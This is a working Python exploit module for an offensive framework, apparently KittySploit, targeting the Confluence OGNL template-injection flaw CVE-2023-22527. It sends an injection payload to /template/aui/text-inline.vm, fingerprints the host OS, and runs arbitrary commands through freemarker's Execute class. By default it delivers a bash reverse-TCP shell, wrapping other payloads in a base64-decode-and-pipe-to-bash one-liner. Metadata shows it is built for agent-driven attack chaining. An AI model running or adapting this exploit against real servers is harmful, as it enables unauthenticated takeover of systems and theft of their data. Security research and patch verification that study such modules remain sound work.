Atlassian Confluence SSTI RCE (CVE-2023-22527)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Atlassian Confluence SSTI / OGNL RCE (CVE-2023-22527) — reverse CMD session."""

from __future__ import annotations

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Atlassian Confluence SSTI RCE (CVE-2023-22527)',
        'description': (
            'Exploits CVE-2023-22527 OGNL injection on /template/aui/text-inline.vm '
            'to run arbitrary OS commands via freemarker Execute().exec. '
            'Confluence 8.0.0–8.5.3 are affected.'
        ),
        'author': ['ProjectDiscovery', 'Spencer McIntyre', 'KittySploit Team'],
        'cve': ['CVE-2023-22527'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-22527',
            'https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615',
            'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/',
        ],
        'tags': [
            'confluence', 'atlassian', 'ssti', 'ognl', 'rce', 'unauth',
            'kev', 'cve-2023-22527',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['confluence'],
                'endpoint_pattern_any': ['/template/aui/text-inline.vm'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'OGNL freemarker Execute'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/confluence_cve_2023_22527_detect'],
            },
        },
    }

    port = OptPort(8090, 'Confluence HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    shell = OptChoice(
        'unix',
        'Shell wrapper for Runtime.exec',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _INJECT_PATH = '/template/aui/text-inline.vm'

    def _inject_ognl(self, ognl: str, extra: dict | None = None):
        param = self.random_text(8)
        label = (
            '\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027)'
            '.internalGet(\\u0027ognl\\u0027).findValue(#parameters.'
            f'{param},{{}})+\\u0027'
        )
        data = {param: ognl, 'label': label}
        if extra:
            data.update(extra)
        return self.http_request(
            method='POST',
            path=self._INJECT_PATH,
            data=data,
            allow_redirects=False,
        )

    def _detect_platform(self) -> str | None:
        header = f'X-{self.random_text(10)}'
        ognl = (
            f"@org.apache.struts2.ServletActionContext@getResponse()"
            f".setHeader('{header}', (@java.lang.System@getProperty('os.name')))"
        )
        r = self._inject_ognl(ognl)
        if not r:
            return None
        return r.headers.get(header) or r.headers.get(header.lower())

    def _run_command(self, cmd: str) -> bool:
        cmd_param = self.random_text(8)
        ognl = (
            '(new freemarker.template.utility.Execute()).exec('
            f"@org.apache.struts2.ServletActionContext@getRequest().getParameter('{cmd_param}'))"
        )
        wrapper = str(self.shell or 'unix').strip().lower()
        if wrapper == 'windows':
            extra = {cmd_param: f'cmd.exe /c "{cmd}"'}
        else:
            extra = {cmd_param: f'sh -c $@|sh . echo {cmd}'}
        r = self._inject_ognl(ognl, extra)
        return r is not None

    def check(self):
        platform = self._detect_platform()
        if not platform:
            return {
                'vulnerable': False,
                'reason': 'OGNL injection probe failed',
                'confidence': 'medium',
            }
        return {
            'vulnerable': True,
            'reason': f'OGNL injection confirmed (platform: {platform})',
            'confidence': 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp)')
            return False

        print_status('CVE-2023-22527 — Confluence OGNL SSTI RCE')
        platform = self._detect_platform()
        if not platform:
            print_error('Target did not respond to OGNL probe')
            self.not_vulnerable()
            return False

        print_success(f'OGNL injection works (detected: {platform})')
        if platform.lower().startswith('win'):
            self.shell = 'windows'
        else:
            self.shell = 'unix'

        if self.shell == 'unix' and 'bash' not in payload_cmd and 'sh' not in payload_cmd:
            b64 = base64.b64encode(payload_cmd.encode()).decode()
            payload_cmd = f"bash -c {{echo,{b64}}}|{{base64,-d}}|{{bash,-i}}"

        print_status(f'Delivering payload on {self._INJECT_PATH}...')
        if not self._run_command(payload_cmd):
            print_error('Failed to dispatch payload')
            self.not_vulnerable()
            return False

        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True